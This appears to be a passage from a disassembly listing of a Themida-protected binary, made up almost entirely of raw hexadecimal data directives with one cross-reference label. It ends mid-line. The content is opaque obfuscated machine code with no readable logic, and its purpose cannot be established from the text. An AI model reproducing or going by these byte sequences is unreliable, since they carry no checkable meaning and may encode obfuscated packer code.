20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0E801C353h, 14h, 6C46973Eh, 0A5E94ABh dd 2BC7A47Ch, 39F7C93h, 0E32E5D78h, 21899D8Bh, 835F060Bh dd 0B17F1BDh, 840F0206h, 2Dh, 6890Fh, 0BD890000h, 60B1649h dd 2EC5858Bh, 6660060Bh, 0F1C14BAh, 685h, 898D8900h, 61060B1Fh dd 8B0000C6h, 0B0F719Dh, 0B985C706h, 60B06h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 72EC357h, 0B7E8BA0Eh, 8C0F3EB4h, 3, 0E9FEB70Fh dd 0FFFFF2B9h, 259D8960h, 89060B21h, 0B31A58Dh, 0C18B6106h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 70C35040h dd 57FE8B26h, 6E9h, 471F7700h, 5FC0FA0Eh, 28A9858Dh, 0E856060Bh dd 10h, 0BFC54373h, 0A46EDCC7h, 8CA35999h, 8F4CBEE5h, 5FFA8B66h dd 0DE8505Bh, 52000000h, 0F0D6A89Bh, 0FC527BE7h, 0C7B2B21Fh dd 0E181BF66h, 2404895Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0E2C35343h, 3DB50144h, 8B060B2Ah, 0B15299Dh dd 6A006A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 34D6C356h, 0D36C2E7Ch, 0E8006A47h dd 12h, 0B35EAF97h, 931E142Dh, 2D6632E1h, 57DC569h, 8D5BEE7Fh dd 0F718885h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 5E4D9E88h, 0FA8C22C1h, 5D9D8BB6h dd 83060B07h, 7CBB05C0h, 900F7FEAh, 61606060h, 0F234BF66h dd 61F38B61h, 6A9050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0FBD09FC3h, 60A0988Bh, 898D8960h dd 0F060B21h, 8Bh, 0C1806100h, 6A6184h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 0EDC35242h, 643D8DEFh dd 69BB718Fh, 6A4CCC3Fh, 99DB8100h, 6061910Fh, 81663AB3h dd 6112A1CAh, 2F2195FFh, 0CB81060Bh, 38CA0163h, 0A7B08D8Dh dd 6A060Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 8BA9A1C3h, 0B0C0D9Dh, 6AD1FF06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0BE63C352h, 892EF322h, 0B22F595h, 6E806h, 0D8510000h dd 7FDE250Eh, 835BFB8Bh, 0B0B19BDh, 850F0106h, 84h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7CC35141h, 0D4C11844h dd 78454407h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 899326C3h, 810F5020h, 8, 28D0Fh dd 61600000h, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 4312C350h, 6688205Ah dd 95FFDF8Bh, 60B0F15h, 8C30BF66h, 0C98E9h, 0E800h, 815D0000h dd 0F7192EDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0F3804CCEh, 0FFB70F92h, 0E853006Ah dd 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 82C35343h, 8B14D7EDh dd 93858DDFh, 8B060E92h, 0B0415BDh, 65BB5006h, 89528DA7h dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 617763C3h, 0ADBF661Ch, 35FF642Dh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 86C35747h dd 258964h, 0FF000000h, 0B066D85h, 0A1BD0306h, 6A060B18h dd 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 36FBEDBEh, 5E8B6h, 0F02F0000h, 50E4DAA6h dd 0CF9BD8Bh, 5F5F060Bh, 2A41B5FFh, 6A060Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 5DAC87C3h dd 1195FFF9h, 0E9060B24h, 105h, 0EE9h, 57B0D700h, 442F54B3h dd 0F1EF81ADh, 0B04B9ACCh, 0DB816600h, 70E6B93Dh, 21DDB589h dd 0EB81060Bh, 28596202h, 3CFC71E4h, 0D2830F61h, 33000000h dd 0B28F5BDh, 0C8B60F06h, 0E45B589h, 6BA060Bh, 0F000000h dd 0C18BFAB7h, 7E9h, 6132EA00h, 616A2851h, 6604E8C1h, 28B3E2F7h dd 9D8BC82Bh, 60B2B41h, 0D381D18Bh, 783DF91Ch, 6E9h, 71BD8B00h dd 8B060B24h, 0B042D85h, 2422BB06h, 0C0833A0Fh, 8E96007h dd 1C000000h, 6096B030h, 8BFCC79Fh, 0C08361F3h, 61858900h dd 3B060B2Fh, 19830FD0h, 89000000h, 0B05C1BDh, 4FE906h dd 9E90000h, 0CD000000h, 0CA6D7E2Dh, 13E9819Fh, 29858D8Bh dd 8589060Bh, 60B0CA1h, 0F01E183h, 2C84h, 0EB816600h, 83F5019Bh dd 0B2985A5h, 880FFE06h, 0 dd 2D9589F8h, 0E9060B04h, 8, 0D25875Dh, 0EFACF9DAh, 0E9h dd 0C0B58D00h, 0E9060EEDh, 0Fh, 70A8B3Dh, 56A0866Ah, 8F1E9869h dd 6A6A6F0Bh, 55E38000h, 32DD95FFh, 10E9060Bh, 0C7000000h dd 0F6C5E8B8h, 0BB374CC6h, 0BB0A472Bh, 956677Ch, 0B276D85h dd 765B906h, 9D8B0000h, 60B1639h, 6AFCE183h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 2B80C351h, 7DACA70Ah, 5DBD8B26h, 0FC060B17h, 42C78166h dd 0BBC02B0Fh, 6B4B5D95h, 6AD22Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 4149BDC3h, 0B70F5BCAh dd 0C233ADDEh, 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 85C9B6A7h, 505C2534h, 0B19D095Fh, 1060B08h, 0B182995h dd 880D06h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 789B02C3h, 0BEF38105h, 8171DF95h dd 2C5FD7EFh, 4D958B50h, 66060B17h, 8D8BFE8Bh, 60B0119h dd 1FD5BD8Bh, 8B50060Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 11CFBB66h, 83FE8B66h, 0B29BDBDh, 840F0006h dd 48h, 0D14BBB66h, 0B8h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0E620587Ch dd 0FCE8C891h, 4DD78D8Dh, 8160060Bh, 0F85264DFh, 39953306h dd 61060B2Bh, 9D89E1FFh, 60B249Dh, 1009BD83h, 0F00060Bh dd 43A84h, 0C5852900h, 83060B12h, 0B1009BDh, 840F0106h dd 442h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 3DC35242h, 0BD027DB0h, 2F3949C5h, 2890F93h, 0B3000000h dd 0D88B66DEh, 1009BD83h, 0F03060Bh, 3CF86h, 1DBD8B00h dd 60060B06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 37C35343h, 9BBF660Eh, 6810F41h, 31000000h, 0B28D98Dh dd 0D98C6606h, 0E804E180h, 10h, 0EDE2DA4Ch, 0A2A05237h dd 0B2E4A0C4h, 0F88D40D9h, 899D89h, 0A5F060Bh, 83840FC9h dd 6A000001h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 6717C356h, 7D858B8Bh, 6A060B31h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 214C357h, 0C8DC49AEh, 9501D84Dh, 60B2E61h dd 68D0Fh, 9D030000h, 60B06F1h, 1EB98589h, 8533060Bh, 60B06EDh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0E2C35747h dd 0CEEE6834h, 9010C829h, 11E9507Bh, 0AC000000h, 42CA7E00h dd 851A473Bh, 1A21F447h, 0C179785Fh, 5250905Bh, 6E9h, 0D32E0D00h dd 0FD60DE9h, 2FBB6631h, 50585AE9h, 3DFC66BFh, 850F9054h dd 6, 5F59529h, 0BD8B060Bh, 60B279Dh, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 5DEBCCC3h, 0EC5AF72Fh, 11E92E29h, 0B8000000h, 0DD204B7h dd 0CE7E1C51h, 5E1BB639h, 1BB5B5C7h, 9B94A468h, 81FA8BBCh dd 6F5B2404h, 0AE94383h, 9D000000h, 0C30A7F81h, 2C4C9543h dd 0D195FF21h, 60060B03h, 8BC18B66h, 806061F1h, 9D8B99C8h dd 60B13D5h, 1D858961h, 0E9060EA8h, 0Eh, 58EDDDC6h, 8BF2560Bh dd 84CA50F1h, 30BF0971h, 0E96DA14Eh, 189h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 26C35545h, 858B2A44h dd 60EA815h, 0D12AD6BBh, 1800C75Dh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 5975C350h, 0F04BBB97h, 0F9B589C2h, 8B060B31h, 0EA819B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 5263DE41h, 858B8C54h, 60B06E1h, 3381BD8Bh dd 689060Bh, 317D858Bh, 8B66060Bh, 44689DEh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 38C35545h, 50080620h dd 9E960h, 48D40000h, 0DDF7A882h, 66311894h, 614C8FB8h dd 0B243489h, 0B1B919Dh, 959D8B06h, 0FF060B02h, 0EA815B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0BEA18EFEh, 668580D0h, 43B1C381h, 4E8h dd 1F03FF00h, 8A0F00h, 50000000h, 8BDE8B66h, 66042444h dd 8BC3EBBFh, 0DE8B6600h, 4244489h, 89585F57h, 0B31619Dh dd 0DAB70F06h, 0A81D858Dh, 8B66060Eh, 6840FDFh, 29000000h dd 0B177195h, 17BF9006h, 501AFD29h, 6870F90h, 8B000000h dd 0B2D899Dh, 0D195FF06h, 6A060B03h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 5DE2C353h dd 6EB1C880h, 9D896127h, 60B2919h, 100985C7h, 3060Bh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0DC514DC3h, 26B1F030h, 0CDBD8BDBh, 0BF060B01h, 3A4B42B2h dd 0A81DBD83h, 0F00060Eh, 3784h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0DD2CA821h dd 2DE9CBh, 0BD310000h, 60B2049h, 7E9h, 98E20700h, 1027F571h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 89E9C355h, 832C86AEh, 3169BD89h, 6A060Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0CA9BE4C3h, 731876FDh, 83E8E54Eh, 0B1009BDh, 850F0306h dd 3ACh, 0BD83F98Ah, 60EA81Dh, 9D840F00h, 8B000003h, 0B208DBDh dd 8D0F06h, 0FF000000h, 0EA81DB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 95FF3DC6h dd 60B083Dh, 0DECF8166h, 49BD2BF7h, 8B060B24h, 0EA811B5h dd 119D2306h, 3060B1Ah, 0B33B5BDh, 106C706h, 6A000100h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 6473C351h, 892BCB75h, 0B0AB185h, 0B3515006h dd 34895F02h, 13E824h, 33F70000h, 6DBFEBA6h, 0EE8D8641h dd 0CE803399h, 0B7EB3EABh, 51BD89E1h, 5B060B2Eh, 0A81DB5FFh dd 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0CC3C0BC3h, 0BD8BF1F7h, 60B055Dh, 95FF98B7h dd 60B0641h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0B2C35242h, 0B7E72C2Ah, 11B58BBDh, 6A060EA8h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 9093C353h, 3ABAB064h, 0BF0FA58Eh, 798D89D9h, 8B060B29h dd 0B121D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0E8FBA440h, 14h, 0B8AFA1C1h, 4237DD80h dd 0F6781626h, 25E66C73h, 417ADE66h dd 895FFC8Ah, 0B27598Dh, 0C4868906h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 3168C351h, 0BF74BEDDh, 153A0B7Ch, 0A850Fh, 880F0000h dd 4, 0A248BF66h, 8BFEBF0Fh, 0B174D95h, 0C283FC06h, 0AC78104h dd 894728FDh, 0DF812050h, 4B3EE618h, 21F19D8Bh, 858D060Bh dd 60EBAEEh, 12D59531h, 8689060Bh, 0B8h, 5F59D2Bh, 6A060Bh dd 2DF19D33h, 0FFFC060Bh, 0EA81DB5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 7ABAF0F3h dd 0FF5A5CE5h, 0B0F1595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0A9D0DD9Bh dd 467D8C7Bh, 2DFDBD8Bh, 6096060Bh, 841705BBh, 0FDBA6672h dd 605061E7h, 13E8h, 0E5424400h, 7DA2DBD4h, 9A04BF8Ch dd 6C7455D3h, 0E27F3F1h, 605F5950h, 5E9h, 60289700h, 61614531h dd 0DD9D8996h, 0FF060B21h, 0EA81DB5h, 0F595FF06h, 89060B00h dd 0B1BB18Dh, 91BD8306h, 60B21h, 15840Fh, 51BF0000h, 965FE0A9h dd 50F88B66h, 5ADEBF66h, 0F1950996h, 0FF060B15h, 0EA81DB5h dd 60526006h, 0B70F5B61h, 95FF61C9h, 60B1281h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0FFC35343h, 13A9BD8Bh dd 0B5FF060Bh, 60EA81Dh, 68D0Fh, 0B5890000h, 60B035Dh dd 0B8D95FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0EA5320C3h, 0FA9B049h, 5B52D8B7h dd 17F1BD83h, 0F02060Bh, 1384h, 0FB8B6600h, 2EC5858Bh dd 8589060Bh, 60B1651h, 0F50000C6h, 6B985C7h, 60Bh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0E8836DC3h, 0Dh, 0C84C7151h, 8BD08FDDh, 635F0B1Fh, 0CE99Dh dd 6D4D0000h, 0E4EA94D7h, 0BFCFE7Ch, 535B43BAh, 5BF9B70Fh dd 0FFF476E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 74DA96EAh, 6AC18BBBh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 9AE2C351h, 0B523DE81h, 0D4622899h, 38C0Fh dd 8B660000h, 0A9858DDAh, 6A060B28h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 6FB5C357h dd 9D0989F4h, 60B2D7Dh, 6800Fh, 9D8B0000h, 60B1349h, 9E990h dd 0F8DE0000h, 6D46C620h, 503C4022h, 5E9h, 0BDBBD100h dd 6A902004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 9DEEC356h, 0B6C03AECh, 1FD93B6Ch dd 2B71BD29h, 6A060Bh, 0F88B6653h, 89006A5Fh, 0B042995h dd 0CD9D8906h, 8D060B02h, 0F806285h, 0D1B58906h, 89060B32h dd 0B2F5D8Dh, 5C08306h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0D0C35242h, 45B376C6h, 8B525090h, 53310FD8h dd 7444BF66h, 50585A5Bh, 12E852h, 0E7E90000h, 6016DEAAh dd 2598F61Fh, 0D3C151F8h, 6EBE774Ah, 0BE8h, 9A45E00h, 44285BC1h dd 23522044h, 905B5F5Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 38C35141h, 0D58D0110h, 6A060B0Eh, 14E900h dd 0DCC90000h, 0A0343A48h, 8A9118F4h, 5340DF94h, 22E85F0Ah dd 6A866Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0A7C35141h, 3C607D6Eh, 0D38E80F3h, 2F2195FFh, 11E9060Bh dd 6F000000h, 0D00935F5h, 8C6D2025h, 5D09780Fh, 87C59BF5h dd 0A7B08D8Dh, 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 9D8BCDC3h, 60B1F5Dh, 6AD1FFh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 2E90FDC3h, 0C1FFC738h, 10E9h, 0A6ECA900h, 0DB6A3ADEh dd 64323F68h, 3D55524Ah, 19BD83FCh, 1060B0Bh, 4C850Fh dd 0F520000h, 686h, 8F0F00h, 5B000000h, 50FC026Ah, 489DF8Bh dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 95FFEE55h, 60B0F15h, 0DE9h, 920CAC00h, 0FA59CEDEh dd 0CF7711F1h, 12E99983h, 0E800000Eh, 0 dd 6CED815Dh, 6A060F80h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 6846C356h, 552200E0h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 20C35242h dd 43861F70h, 858D18AEh, 60E9293h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 6DC35646h, 1229A894h, 0DD428C2Ah dd 13064ABBh, 0E957507Eh, 0Fh, 0BED1DDE2h, 7A65A380h, 0A37A3086h dd 5FF12FA7h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 2241C357h, 1F9F280Ch dd 0FF64633Fh, 35h, 88A0F00h, 56000000h, 29618D89h, 645F060Bh dd 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 5C9FEFC3h, 6D85FF14h, 0E9060B06h dd 12h, 758173A1h, 0F2349CE6h, 0AA8CF211h, 0FD2CC835h dd 0FF6AF9F8h, 12E9h, 9E29BC00h, 8D18C0BCh, 0B61883C0h dd 0CF15AFB4h, 8B464BB1h, 5B5FFDAh, 89060B27h, 0B18D19Dh dd 1195FF06h, 0E9060B24h, 0F9h, 19F5BD8Bh, 0B0060Bh, 10E9h dd 0BE45700h, 7E036562h, 0A567216Bh, 2FC6EBDFh, 0F70E6A6h dd 68Dh, 0BB665700h, 0E45B59F9h, 0FEBF6671h, 0F613CDEh dd 0C083h, 0B60FF900h, 0FEB70FC8h, 0F275F781h, 6BA594Eh dd 8B000000h, 0ADEF80C1h, 6604E8C1h, 0E0D6EF81h, 2BE2F766h dd 8BDE8BC8h, 29FBBFD1h, 4E94340h, 66000000h, 8B0858BBh dd 0B2A1D85h, 7C08306h, 39858960h, 29060B18h, 0B0B8195h dd 0BD896106h, 60B1F71h, 3B00C083h, 20830FD0h, 0F000000h dd 5AE9F8B7h, 0E9000000h, 11h, 0CD2F135Ah, 11AC9B96h, 0F8D8CB24h dd 1DDDF60Ah, 8BDA8B88h, 0B00A18Dh, 89BD8B06h, 8B060B1Fh dd 0B2E1DBDh, 1E18306h, 27840Fh, 8F0F0000h, 3, 83DF8B66h dd 0B00A1A5h, 0BD89FE06h, 60B3169h, 2A1D9589h, 9D8B060Bh dd 60B04A9h, 0E9h, 3CB58D00h, 6A060EF7h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 50B99139h, 0A0FB47C2h, 816618B5h, 0FF5A71C7h, 0B32DD95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0A2B96A55h, 0F000007h, 28Eh, 83E9B300h dd 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 862A2CC3h, 5E860h, 4A150000h, 66486519h dd 2F36C381h, 6AFC5Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 614CD8C3h, 6D9D33EBh, 0B8060B0Bh dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C2C35040h dd 33DC1A8Ch, 2B894075h, 55006AD2h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0FCF7712Ah, 8E0Fh, 0BD230000h dd 60B30E5h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 6840Fh dd 9D8B0000h, 60B3355h, 0C820Fh, 8F0F0000h, 6, 8C0Fh, 880D0000h dd 60000000h, 0EE8h, 0EB270600h, 73E2FEEh, 84BBB29Eh, 31B44E40h dd 0B123985h, 9D8B5E06h, 60B0C35h, 0DDBD8B61h, 8B060B18h dd 0B174D95h, 659D0106h, 89060B22h, 0B2F519Dh, 198D8B06h dd 6A060B01h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 9CFC352h, 8C0F93CAh, 6, 32EDBD33h dd 8D89060Bh, 60B01B9h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 9D8B5818h, 60B333Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 5CC35747h, 84B2F11Dh, 0BD838F19h dd 60B29BDh, 5A840F00h, 8B000000h, 0B1B01BDh, 0B806h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0BD8BC2C3h, 60B2E91h, 4DD78D8Dh, 0BB66060Bh, 0E1FF8296h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 66C35646h dd 992FBDBFh, 9BD8379h, 60B10h, 489840Fh, 0BF0F0000h, 9BD83DFh dd 1060B10h, 494840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0B3012BC3h, 11E95Eh dd 3AD90000h, 1B84A42Bh, 7A5A9D64h, 0B0F6E785h, 0BBAE92BCh dd 47D0DC20h, 1009BD83h, 0F03060Bh, 41786h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 581C2B32h, 8F71D240h, 0E1BD89C4h, 60060B2Eh, 4840Fh dd 0BB660000h, 8C663381h, 55006AD9h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0A9F6FE36h dd 0AE81F11h, 0C000000h, 7F3D16A5h, 0E93F6596h, 805BFCF1h dd 8C0F04E1h, 0 dd 840FC90Ah, 15Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 94C35242h, 858BF99Eh, 60B317Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0AFC35141h, 88BE09ABh dd 6E99174h, 3F000000h, 0CB050145h, 0ED85339Bh, 6A060B06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0F20DC356h, 0EC3974D0h, 0BD8BF616h, 60B2A59h dd 0D98D2960h, 0E8060B04h, 0Bh, 93286029h, 5C26A84Bh, 0BBD7C1EDh dd 14C420C4h, 6650615Eh, 505FDF8Bh, 28D0F51h, 51000000h dd 4895B5Fh, 859D0924h, 6A060B13h, 0C99D2900h, 68060B29h dd 615945E0h, 52506051h, 585A310Fh, 0EE7BBE66h, 34815F61h dd 46461F24h, 6870F61h, 8B000000h, 0B1AD59Dh, 0D195FF06h dd 6A060B03h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 388AC357h, 0F947AE3h, 0A81D8589h dd 0EE8060Eh, 60000000h, 1E565F98h, 8A12C9BDh, 75FF9BD7h dd 9BD3374h, 5B060B04h, 0EE8h, 35C1DB00h, 0E8D59C3Dh, 0F464878h dd 814C4012h, 0DFB5EDFh, 0C7E95F58h, 0E9000001h, 0Bh, 0E0171F47h dd 0DAD586D9h, 8BDEF1F1h, 0EA81585h, 91850906h, 0F060B2Eh dd 0C7DABFh, 18h db 6Ah byte_5847E9 db 0, 50h, 0E8h ; DATA XREF: Themida_:00544C0Co dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0F8C35040h, 0A8E169E1h dd 297497ECh, 0B0F3D9Dh, 0B58BF906h, 60EA819h, 0DA8B6660h dd 1870Fh, 61FC0000h, 6E1858Bh, 6A060Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0E92C54C3h dd 497C45D0h, 9D8BF842h, 60B06B5h, 0BF0F0689h, 7D858BFBh dd 81060B31h, 87800AD7h, 446894Ch, 68D0Fh, 0BD8B0000h dd 60B05B1h, 32CD8589h, 8A96060Bh, 0F3BB50DEh, 9603226Fh dd 0B5FFF98Bh, 60EA815h, 0FE9h, 0BABDA900h, 1F202785h dd 0C295F1B6h, 4AFBE19Ah, 4E8FCh, 3FF0000h, 11E8001Fh dd 74000000h, 0C42A9AC5h, 0A2B65E68h, 0D80880Ah, 0F3771587h dd 61605250h, 9E9310Fh, 7F000000h, 0DA42A367h, 4CBA2A78h dd 505F585Ah, 0BBF5250h, 0F1BA377h, 8B585A31h, 0BF042444h dd 73A7C68Eh, 0C9BF008Bh, 892DD4D5h, 58042444h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0B9C35141h, 858DA033h dd 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0F7C35242h, 1C3C3B21h, 0C95FB17Bh, 0DDD9D8Bh, 6090060Bh dd 66616060h, 0B161D88Bh, 5050618Bh, 0BF310F52h, 8B44585h dd 6A90585Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0E04BC356h, 95FF31CDh, 60B03D1h dd 322D9589h, 2961060Bh, 0B0E3DBDh, 985C706h, 3060B10h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0A787C351h, 14354EC3h, 157B8026h dd 11E8h, 84321F00h, 0DE707999h, 4ECDD7DCh, 98C45ADFh dd 9D8BCE73h, 60B31B1h, 1DBD835Fh, 60EA8h, 2A840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0F78064C3h, 21E903h, 0D7810000h, 740900E3h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 81BDC356h, 23F73E9Fh, 5E95Ch, 0A69B0000h, 3DE0E43h dd 0B03B9BDh, 0CBF6606h, 9BD83C6h, 3060B10h, 456850Fh dd 820F0000h, 6, 0BA19D31h, 0BD83060Bh, 60EA81Dh, 3D840F00h dd 0FF000004h, 0EA81DB5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 1188453h, 12F6BF62h dd 7E82407h, 50000000h, 0F2A5B0F5h, 295B3B38h, 0B03258Dh dd 3D95FF06h, 52060B08h, 6E8h, 0B5F87900h, 0E90897E0h dd 14h, 0C6F109F4h, 3984D245h, 94E918DCh, 44DC25B4h, 35F156F8h dd 0B58B5B5Bh, 60EA811h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 34C35747h, 0A2986D74h, 0C3D1A80Ch, 8C0Fh dd 6C70000h, 10001h, 12F98509h, 0E996060Bh, 8, 88F76D6Dh dd 0E7A81267h, 11E950h, 1A30000h, 0F42AAAFBh, 0E0C0341Ah dd 47351328h, 9632B124h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 2CC35545h, 179745CDh, 12E9E028h, 51000000h dd 84AFBDBCh, 0FEB712C4h, 0D618A385h, 0D11746A0h, 1DB5FF30h dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0C101C355h, 0EB80DE3h, 7BDD9CC5h dd 2AAD9D8Bh, 